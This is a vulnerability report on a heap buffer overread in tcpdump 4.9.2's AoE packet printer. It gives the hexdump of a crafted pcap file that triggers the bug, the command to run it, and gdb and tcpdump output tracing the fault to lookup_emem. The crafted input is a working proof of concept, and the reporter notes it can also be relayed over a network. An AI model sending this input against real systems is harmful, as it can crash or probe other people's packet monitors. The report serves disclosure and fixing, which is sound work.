Description
There seems to be a heap-based buffer overread while running tcpdump on a crafted pcap file. A similar behavior is seen when tcpdump is listening on an interface and the contents of this file is relayed over the network.
In order to trigger the vulnerability, run ./tcpdump –vr %file%
The relevant MemCheck output: The memcheck output has been attached because it was too long.
memcheck-local.txt memcheck-local.txt
Debug info:
Tcpdump version: tcpdump.4.9.2
Libcap version: libpcap 1.8.1
OS: Ubuntu 17.10
Compiler: gcc 7.2.0
Target: x86_64-linux-gnu
Hexdump of Input:
0000000 c3d4 a1b2 0002 0004 e000 0000 1f00 0000
0000010 0020 0000 0001 0000 6606 4881 dce8 0002
0000020 003c 0000 002c 0000 7ff5 00c2 0300 1900
0000030 ea06 a4b8 a288 c316 03b2 0303 0303 0303
0000040 0303 0303 0303 0303 0303 03fe 1b83 7f01
0000050 0110 0000 0002 5501 7755 0077 050a f0d9
0000060 f0f0 f0f0 f0f0 80f0 f0f0 f0f0 f0f0 a1f0
0000070 0002 0004 f000 0303 0303 0303 0303 0303
0000080 0303 0303 0303 0303 fe03 8303 011b 107f
0000090 0001 0200 0100 5555 7777 0a00 d905 f0f0
00000a0 f0f0 f0f0 f0f0 f080 f0f0 f0f0 f0f0 f0f0
00000b0 f0f0 f0f0 f0f0 f0f0 f0f0 f0f0 f0f0 f0f0
00000c0 f0f0 eaf0 0005 c4c4 c4c4 c4c4 c4c4 c4c4
00000d0 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4
*
0000120 c6c4 c3c4 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4
0000130 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4
*
0000150 02c4 c400 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4
0000160 c4c4 c4bb c4c4 c4c4 c4c4 c4c4 c4c4 c4c4
0000170 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4 0020
0000180 c4c4 c4a2 c4c4 e2c4 c4c4 c4c4 c4c4 c4c4
0000190 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4 c4c4
*
00001d0 c4c4 c4c4 c4c4 c4c4 29c4 f0f0 f0f0 f0f0
00001e0 f0f0 f0f0 f0f0 f0f0 f0f0 00f0 0000 0000
00001f0 05d1 ff7f ffff 1b83 0001 0110 0000 0002
0000200 5501 7755 0077 050a 40d9 1b00 5555 7777
0000210 8101 cc01 0201 4901 0484 0a0a 0132 a2d3
0000220 0000 0600 0006
0000226
I performed some analysis with gdb to identify what was causing the issue. On adding a breakpoint in main and the function ether_print using:
Breakpoint 1 at 0x555555587bff: file ./tcpdump.c, line 1099.
(gdb) b print-ether.c:236
Breakpoint 2 at 0x5555555bb5a6: file ./print-ether.c, line 236.
GDB gave the following output:
Starting program: /usr/local/sbin/tcpdump -vrtcpdump-heapoverread
Breakpoint 1, main (argc=3, argv=0x7fffffffe1e8) at ./tcpdump.c:1099
Jumping to the function ether_print
Breakpoint 2, ether_print (ndo=0x7fffffffce40, p=0x555555a4c57e "\026ò", '\003' <repeats 15 times>, length=30, caplen=18, print_encap_header=0x0,
encap_header_arg=0x0) at ./print-ether.c:236
Jumping to the function ethertype_print
ethertype_print (ndo=0x7fffffffce40, ether_type=34978, p=0x555555a4c57e "\026ò", '\003' <repeats 15 times>, length=30, caplen=18,
src=0x7fffffffcc80, dst=0x7fffffffcc70) at ./print-ether.c:330
Jumping to the function aoe_print
aoe_print (ndo=0x7fffffffce40, cp=0x555555a4c57e "\026ò", '\003' <repeats 15 times>, len=30) at ./print-aoe.c:403
Jumping to the function aoe_print
Breakpoint 6, etheraddr_string (ndo=0x7fffffffce40, ep=0x555555a4c58a "\003\003\003\003\003\003") at ./addrtoname.c:500
500 tp = lookup_emem(ndo, ep);
Enter the lookup_ememfunction .
VulnCodes
345 k = (ep[0] << 8) | ep[1];
346 j = (ep[2] << 8) | ep[3];
347 i = (ep[4] << 8) | ep[5];
Values after code execution
(gdb) p i
$6 = 771
(gdb) p j
$7 = 771
(gdb) p k
$8 = 771
When the breakpoint reaches the second time.
Breakpoint 6, etheraddr_string (ndo=0x7fffffffce40, ep=0x555555a4c590 "") at ./addrtoname.c:500
500 tp = lookup_emem(ndo, ep);
ep has no values, and the fetching fails on VulnCodes
(gdb) p ep[0]
$12 = 0 '\000'
(gdb) p ep[1]
$13 = 0 '\000'
(gdb)
$14 = 0 '\000'
(gdb) p ep[2]
$15 = 49 '1'
(gdb) p ep[3]
$16 = 0 '\000'
(gdb) p ep[4]
$17 = 0 '\000'
Looks like a heap-overread is happening resulting in NULL or garbage values.
Note that running Tcpdump without Memcheck doesn’t result in a crash:
TcpdumpOutput :
reading from file tcpdump-heapoverread, link-type EN10MB (Ethernet)
09:26:54.187624 AoE length 30, Ver 1, Flags: [Error, MBZ-0x02]
Error: Invalid (195)
Major: 0xb203, Minor: 0x03, Command: Reserve/Release, Tag: 0x03030303
RCmd: Unknown (0x03), NMacs: 3
Ethernet Address 0: 03:03:03:03:03:03 (oui Unknown)
Ethernet Address 1: 00:00:00:00:00:00 (oui Ethernet)
Ethernet Address 2: 00:00:31:00:00:00 (oui Unknown)
tcpdump: pcap_loop: invalid packet capture length 2716922096, bigger than maximum of 262144
Valgrind Network Output : The network-memcheck output has been attached because it was too long.
memcheck-network.txt
memcheck-network.txt
Credits for discovering the potential memory error goes to @kirit1193, I performed the analysis and designed the POC for tcpdump on both the pcap file as well as on the network.
PS - Sorry for the long-ish bug report.